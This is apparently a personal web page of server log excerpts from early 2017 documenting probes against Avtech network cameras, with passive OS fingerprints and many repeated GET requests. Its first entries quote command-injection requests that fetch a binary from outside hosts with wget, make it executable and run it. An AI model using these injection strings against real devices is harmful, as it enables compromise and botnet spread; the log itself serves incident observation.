HTTP requests from systems with Avtech network cameras | Joachim De Zutter
February - April 2017

See also: HTTP requests from D-Link devices

According to their website SEARCH-LAB published an advisory about multiple vulnerabilities in Avtech devices on October 11th, 2016.

The following suspicious entries were witnessed in logfiles of an HTTP server:
...
137.59.18.162 - - [15/Feb/2017:03:45:27 +0200] "POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/zet.arm%20http://192.154.103.130:280/223;chmod%200777%20/tmp/zet.arm;/tmp/zet.arm HTTP/1.1" "-" "python-requests/2.13.0"
...
137.59.19.132 - - [27/Feb/2017:01:45:21 +0200] "GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.116.3:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1" "-" "python-requests/2.13.0"
137.59.18.190 - - [27/Feb/2017:02:56:03 +0200] "POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.116.21:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1" "-" "python-requests/2.13.0"
...
100.42.229.74 - - [03/Mar/2017:17:00:06 +0200] "POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/iptto%20http://199.83.92.3:8080/iptto;chmod%200777%20/tmp/iptto;/tmp/iptto; HTTP/1.1" "-" "python-requests/2.13.0"
...
Passive OS fingerprinting gave the following information:
Feb 15 2017 137.59.18.162:2365 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M1460,N,W5,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: ethernet/modem)
Feb 15 2017 137.59.18.162:3830 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M536,N,W4,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: sometimes modem)
Feb 15 2017 137.59.18.162:3830 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M536,N,W4,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: sometimes modem)
Feb 15 2017 137.59.18.162:1377 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M1460,N,W3,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: ethernet/modem)
Feb 15 2017 137.59.18.162:1377 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M1460,N,W3,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: ethernet/modem)
Feb 15 2017 137.59.18.162:1377 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M1460,N,W3,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: ethernet/modem)
Mon Feb 27 01:45:21 2017 137.59.19.132:1233 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M536,N,W4,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: sometimes modem)
Mon Feb 27 02:56:02 2017 137.59.18.190:1887 - Windows XP/2000 (RFC1323+, w+, tstamp-) [low delay] [GENERIC] Signature: [63443:113:1:52:M536,N,W4,N,N,S:.:Windows:?] -> ###.###.###.###:80 (distance 15, link: sometimes modem)
Fri Mar  3 17:00:06 2017 100.42.229.74:2286 - Windows 2000 SP4, XP SP1+ -> ###.###.###.###:80 (distance 16, link: ethernet/modem)
After that more suspicious entries were witnessed in logfiles of the HTTP server:
...
193.92.255.92 - - [05/Mar/2017:02:07:43 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
193.92.255.92 - - [05/Mar/2017:02:07:44 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
193.92.255.92 - - [05/Mar/2017:02:07:47 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
180.251.162.248 - - [05/Mar/2017:11:19:28 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
113.183.136.45 - - [05/Mar/2017:13:25:25 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
113.183.136.45 - - [05/Mar/2017:13:25:25 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
113.183.136.45 - - [05/Mar/2017:13:25:26 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
113.183.136.45 - - [05/Mar/2017:13:25:28 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
113.183.136.45 - - [05/Mar/2017:13:25:38 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
203.79.84.2 - - [05/Mar/2017:15:59:53 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
203.79.84.2 - - [05/Mar/2017:15:59:53 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
203.79.84.2 - - [05/Mar/2017:16:00:19 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
203.45.76.12 - - [05/Mar/2017:17:30:31 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
203.45.76.12 - - [05/Mar/2017:17:30:33 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
203.45.76.12 - - [05/Mar/2017:17:30:36 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
203.45.76.12 - - [05/Mar/2017:17:30:39 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
186.75.144.12 - - [05/Mar/2017:22:04:40 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
186.75.144.12 - - [05/Mar/2017:22:04:50 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
186.75.144.12 - - [05/Mar/2017:22:04:51 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
186.75.144.12 - - [05/Mar/2017:22:04:52 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
186.75.144.12 - - [05/Mar/2017:22:04:54 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
186.75.144.12 - - [05/Mar/2017:22:05:11 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
201.142.177.148 - - [06/Mar/2017:00:14:18 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
201.142.177.148 - - [06/Mar/2017:00:14:18 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
201.142.177.148 - - [06/Mar/2017:00:14:21 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
73.255.125.105 - - [06/Mar/2017:01:41:18 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
73.255.125.105 - - [06/Mar/2017:01:41:19 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
73.255.125.105 - - [06/Mar/2017:01:41:29 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
92.27.35.190 - - [06/Mar/2017:02:52:35 +0200] "GET / HTTP/1.0" 200 27600 "-" "-"
92.27.35.190 - - [06/Mar/2017:02:52:36 +0200] "GET / HTTP/1.0" 200 27600 "-" "-"
92.27.35.190 - - [06/Mar/2017:02:52:37 +0200] "GET / HTTP/1.0" 200 27600 "-" "-"
92.27.35.190 - - [06/Mar/2017:02:52:37 +0200] "GET / HTTP/1.0" 200 27600 "-" "-"
...
31.168.92.70 - - [06/Mar/2017:12:41:06 +0200] "GET / HTTP/1.0" 200 28160 "-" "-"
...
187.225.59.48 - - [06/Mar/2017:17:55:40 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.225.59.48 - - [06/Mar/2017:17:55:41 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.225.59.48 - - [06/Mar/2017:17:55:44 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.225.59.48 - - [06/Mar/2017:17:55:46 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.225.59.48 - - [06/Mar/2017:17:55:59 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
41.248.245.116 - - [06/Mar/2017:22:36:15 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
41.248.245.116 - - [06/Mar/2017:22:36:24 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
41.248.245.116 - - [06/Mar/2017:22:36:25 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
41.248.245.116 - - [06/Mar/2017:22:36:30 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
101.78.251.241 - - [07/Mar/2017:05:51:35 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.78.251.241 - - [07/Mar/2017:05:51:36 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.78.251.241 - - [07/Mar/2017:05:51:38 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.78.251.241 - - [07/Mar/2017:05:51:43 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
105.228.80.192 - - [07/Mar/2017:16:50:29 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
105.228.80.192 - - [07/Mar/2017:16:50:30 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
105.228.80.192 - - [07/Mar/2017:16:50:32 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
105.228.80.192 - - [07/Mar/2017:16:50:36 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
92.216.110.207 - - [08/Mar/2017:02:21:40 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
92.216.110.207 - - [08/Mar/2017:02:21:42 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
202.156.158.151 - - [08/Mar/2017:04:16:13 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
202.156.158.151 - - [08/Mar/2017:04:16:14 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
202.156.158.151 - - [08/Mar/2017:04:16:26 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
202.156.158.151 - - [08/Mar/2017:04:16:27 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
202.156.158.151 - - [08/Mar/2017:04:16:28 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
197.232.51.123 - - [08/Mar/2017:05:50:27 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
197.232.51.123 - - [08/Mar/2017:05:50:30 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
197.232.51.123 - - [08/Mar/2017:05:50:32 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
197.232.51.123 - - [08/Mar/2017:05:50:35 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
197.232.51.123 - - [08/Mar/2017:05:50:43 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
...
90.221.82.38 - - [08/Mar/2017:07:09:43 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
90.221.82.38 - - [08/Mar/2017:07:09:45 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
90.221.82.38 - - [08/Mar/2017:07:09:57 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
90.221.82.38 - - [08/Mar/2017:07:09:57 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
90.221.82.38 - - [08/Mar/2017:07:09:59 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
118.140.179.226 - - [08/Mar/2017:16:12:00 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
...
103.26.212.184 - - [08/Mar/2017:19:41:12 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
103.26.212.184 - - [08/Mar/2017:19:41:14 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
103.26.212.184 - - [08/Mar/2017:19:41:16 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
103.26.212.184 - - [08/Mar/2017:19:41:19 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
103.26.212.184 - - [08/Mar/2017:19:41:27 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
70.30.4.130 - - [08/Mar/2017:20:15:34 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
70.30.4.130 - - [08/Mar/2017:20:15:35 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
70.30.4.130 - - [08/Mar/2017:20:15:38 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
187.227.194.4 - - [09/Mar/2017:02:41:34 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.227.194.4 - - [09/Mar/2017:02:41:38 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.227.194.4 - - [09/Mar/2017:02:41:54 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.227.194.4 - - [09/Mar/2017:02:41:58 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
187.227.194.4 - - [09/Mar/2017:02:41:59 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
58.152.93.142 - - [09/Mar/2017:10:25:32 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
58.152.93.142 - - [09/Mar/2017:10:25:33 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
58.152.93.142 - - [09/Mar/2017:10:25:36 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
58.152.93.142 - - [09/Mar/2017:10:25:50 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
58.152.93.142 - - [09/Mar/2017:10:25:51 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
82.18.105.0 - - [09/Mar/2017:11:37:34 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
82.18.105.0 - - [09/Mar/2017:11:37:36 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
82.18.105.0 - - [09/Mar/2017:11:37:49 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
82.18.105.0 - - [09/Mar/2017:11:37:49 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
82.18.105.0 - - [09/Mar/2017:11:37:51 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
27.54.61.116 - - [09/Mar/2017:11:58:14 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
27.54.61.116 - - [09/Mar/2017:11:58:15 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
27.54.61.116 - - [09/Mar/2017:11:58:19 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
27.54.61.116 - - [09/Mar/2017:11:58:20 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
27.54.61.116 - - [09/Mar/2017:11:58:20 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
...
81.149.200.140 - - [09/Mar/2017:22:33:23 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
79.59.244.50 - - [10/Mar/2017:00:36:45 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
79.59.244.50 - - [10/Mar/2017:00:36:49 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
116.0.6.82 - - [10/Mar/2017:04:11:55 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
116.0.6.82 - - [10/Mar/2017:04:12:07 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
116.0.6.82 - - [10/Mar/2017:04:12:09 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
116.0.6.82 - - [10/Mar/2017:04:12:10 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
116.0.6.82 - - [10/Mar/2017:04:12:11 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
...
203.160.61.11 - - [10/Mar/2017:09:27:47 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
203.160.61.11 - - [10/Mar/2017:09:27:48 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
203.160.61.11 - - [10/Mar/2017:09:27:53 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
203.160.61.11 - - [10/Mar/2017:09:28:02 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
203.160.61.11 - - [10/Mar/2017:09:28:18 +0200] "GET / HTTP/1.0" 200 39585 "-" "-"
...
24.85.253.43 - - [10/Mar/2017:14:03:34 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
24.85.253.43 - - [10/Mar/2017:14:03:46 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
24.85.253.43 - - [10/Mar/2017:14:03:49 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
24.85.253.43 - - [10/Mar/2017:14:03:51 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
24.85.253.43 - - [10/Mar/2017:14:03:57 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
24.85.253.43 - - [10/Mar/2017:14:04:17 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
190.56.162.254 - - [10/Mar/2017:14:46:49 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
212.159.153.58 - - [10/Mar/2017:16:47:49 +0200] "GET / HTTP/1.0" 200 26960 "-" "-"
212.159.153.58 - - [10/Mar/2017:16:47:59 +0200] "GET / HTTP/1.0" 200 26960 "-" "-"
212.159.153.58 - - [10/Mar/2017:16:48:11 +0200] "GET / HTTP/1.0" 200 26960 "-" "-"
...
187.95.39.63 - - [11/Mar/2017:04:19:21 +0200] "GET / HTTP/1.0" 200 27960 "-" "-"
...
201.106.102.162 - - [11/Mar/2017:09:51:00 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
90.176.160.16 - - [11/Mar/2017:13:13:04 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.176.160.16 - - [11/Mar/2017:13:13:05 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.176.160.16 - - [11/Mar/2017:13:13:06 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.176.160.16 - - [11/Mar/2017:13:13:11 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.176.160.16 - - [11/Mar/2017:13:13:19 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
91.187.56.50 - - [11/Mar/2017:13:25:17 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
...
84.84.152.102 - - [11/Mar/2017:14:39:27 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
49.149.49.132 - - [11/Mar/2017:20:19:41 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
49.149.49.132 - - [11/Mar/2017:20:19:42 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
49.149.49.132 - - [11/Mar/2017:20:19:45 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
49.149.49.132 - - [11/Mar/2017:20:19:59 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
49.149.49.132 - - [11/Mar/2017:20:20:01 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
49.149.49.132 - - [11/Mar/2017:20:20:22 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
...
117.6.125.169 - - [11/Mar/2017:23:50:15 +0200] "GET / HTTP/1.0" 200 27960 "-" "-"
...
87.163.35.118 - - [12/Mar/2017:00:49:23 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
14.182.65.179 - - [12/Mar/2017:00:50:20 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
14.182.65.179 - - [12/Mar/2017:00:50:22 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
14.182.65.179 - - [12/Mar/2017:00:50:24 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
14.182.65.179 - - [12/Mar/2017:00:50:28 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
14.182.65.179 - - [12/Mar/2017:00:50:41 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
189.175.178.131 - - [12/Mar/2017:01:19:54 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.175.178.131 - - [12/Mar/2017:01:20:03 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.175.178.131 - - [12/Mar/2017:01:20:14 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.175.178.131 - - [12/Mar/2017:01:20:15 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.175.178.131 - - [12/Mar/2017:01:20:18 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
139.193.136.171 - - [12/Mar/2017:01:54:35 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
139.193.136.171 - - [12/Mar/2017:01:54:37 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
139.193.136.171 - - [12/Mar/2017:01:54:42 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
139.193.136.171 - - [12/Mar/2017:01:54:43 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
139.193.136.171 - - [12/Mar/2017:01:54:51 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
139.193.136.171 - - [12/Mar/2017:01:55:21 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
98.206.5.240 - - [12/Mar/2017:02:50:53 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
98.206.5.240 - - [12/Mar/2017:02:50:54 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
98.206.5.240 - - [12/Mar/2017:02:50:55 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
98.206.5.240 - - [12/Mar/2017:02:51:06 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
98.206.5.240 - - [12/Mar/2017:02:51:17 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
201.119.57.23 - - [12/Mar/2017:04:03:44 +0200] "GET / HTTP/1.0" 200 28240 "-" "-"
201.119.57.23 - - [12/Mar/2017:04:03:46 +0200] "GET / HTTP/1.0" 200 28240 "-" "-"
201.119.57.23 - - [12/Mar/2017:04:03:47 +0200] "GET / HTTP/1.0" 200 28240 "-" "-"
201.119.57.23 - - [12/Mar/2017:04:03:51 +0200] "GET / HTTP/1.0" 200 28240 "-" "-"
201.119.57.23 - - [12/Mar/2017:04:04:07 +0200] "GET / HTTP/1.0" 200 28240 "-" "-"
...
218.186.251.244 - - [12/Mar/2017:05:32:07 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
218.186.251.244 - - [12/Mar/2017:05:32:08 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
218.186.251.244 - - [12/Mar/2017:05:32:09 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
218.186.251.244 - - [12/Mar/2017:05:32:14 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
218.186.251.244 - - [12/Mar/2017:05:32:29 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
71.249.208.63 - - [12/Mar/2017:07:02:02 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
71.249.208.63 - - [12/Mar/2017:07:02:02 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
71.249.208.63 - - [12/Mar/2017:07:02:04 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
71.249.208.63 - - [12/Mar/2017:07:02:09 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
71.249.208.63 - - [12/Mar/2017:07:02:21 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
175.142.163.39 - - [12/Mar/2017:10:37:17 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
175.142.163.39 - - [12/Mar/2017:10:37:18 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
175.142.163.39 - - [12/Mar/2017:10:37:20 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
175.142.163.39 - - [12/Mar/2017:10:37:24 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
175.142.163.39 - - [12/Mar/2017:10:37:29 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
175.142.163.39 - - [12/Mar/2017:10:37:45 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
90.148.218.191 - - [12/Mar/2017:13:25:44 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.148.218.191 - - [12/Mar/2017:13:25:49 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
90.148.218.191 - - [12/Mar/2017:13:25:58 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
101.108.168.178 - - [12/Mar/2017:14:07:05 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.108.168.178 - - [12/Mar/2017:14:07:07 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.108.168.178 - - [12/Mar/2017:14:07:11 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
101.108.168.178 - - [12/Mar/2017:14:07:24 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
189.163.64.6 - - [12/Mar/2017:15:20:04 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.163.64.6 - - [12/Mar/2017:15:20:08 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.163.64.6 - - [12/Mar/2017:15:20:12 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.163.64.6 - - [12/Mar/2017:15:20:16 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
189.163.64.6 - - [12/Mar/2017:15:20:27 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
27.125.150.146 - - [12/Mar/2017:19:36:39 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
27.125.150.146 - - [12/Mar/2017:19:36:40 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
27.125.150.146 - - [12/Mar/2017:19:36:42 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
27.125.150.146 - - [12/Mar/2017:19:36:46 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
27.125.150.146 - - [12/Mar/2017:19:36:55 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
217.209.166.30 - - [12/Mar/2017:21:23:11 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
217.209.166.30 - - [12/Mar/2017:21:23:11 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
217.209.166.30 - - [12/Mar/2017:21:23:13 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
217.209.166.30 - - [12/Mar/2017:21:23:17 +0200] "GET / HTTP/1.0" 200 39585 "-" "-"
217.209.166.30 - - [12/Mar/2017:21:23:42 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
...
220.210.173.193 - - [12/Mar/2017:22:46:27 +0200] "GET / HTTP/1.0" 200 28040 "-" "-"
220.210.173.193 - - [12/Mar/2017:22:47:01 +0200] "GET / HTTP/1.0" 200 28040 "-" "-"
...
65.8.220.210 - - [13/Mar/2017:00:01:38 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
65.8.220.210 - - [13/Mar/2017:00:01:38 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
65.8.220.210 - - [13/Mar/2017:00:01:39 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
65.8.220.210 - - [13/Mar/2017:00:01:39 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
120.151.153.46 - - [13/Mar/2017:04:17:56 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
120.151.153.46 - - [13/Mar/2017:04:17:57 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
120.151.153.46 - - [13/Mar/2017:04:17:58 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
120.151.153.46 - - [13/Mar/2017:04:17:59 +0200] "GET / HTTP/1.0" 200 28120 "-" "-"
...
183.80.219.73 - - [13/Mar/2017:05:30:44 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
183.80.219.73 - - [13/Mar/2017:05:30:45 +0200] "GET / HTTP/1.0" 200 28000 "-" "-"
...
116.106.99.113 - - [13/Mar/2017:09:35:58 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
116.106.99.113 - - [13/Mar/2017:09:35:59 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
116.106.99.113 - - [13/Mar/2017:09:36:01 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
116.106.99.113 - - [13/Mar/2017:09:36:05 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
116.106.99.113 - - [13/Mar/2017:09:36:14 +0200] "GET / HTTP/1.0" 200 29040 "-" "-"
...
46.23.53.124 - - [13/Mar/2017:12:13:14 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
46.23.53.124 - - [13/Mar/2017:12:13:16 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
46.23.53.124 - - [13/Mar/2017:12:13:18 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
46.23.53.124 - - [13/Mar/2017:12:13:22 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
46.23.53.124 - - [13/Mar/2017:12:13:39 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
...
118.179.157.203 - - [13/Mar/2017:14:32:20 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
118.179.157.203 - - [13/Mar/2017:14:32:21 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
118.179.157.203 - - [13/Mar/2017:14:32:22 +0200] "GET / HTTP/1.0" 200 39585 "-" "-"
118.179.157.203 - - [13/Mar/2017:14:32:27 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
118.179.157.203 - - [13/Mar/2017:14:32:46 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
118.179.157.203 - - [13/Mar/2017:14:32:52 +0200] "GET / HTTP/1.0" 200 29200 "-" "-"
...
178.217.14.236 - - [13/Mar/2017:18:45:50 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
178.217.14.236 - - [13/Mar/2017:18:45:50 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
178.217.14.236 - - [13/Mar/2017:18:45:53 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
178.217.14.236 - - [13/Mar/2017:18:45:58 +0200] "GET / HTTP/1.0" 200 28960 "-" "-"
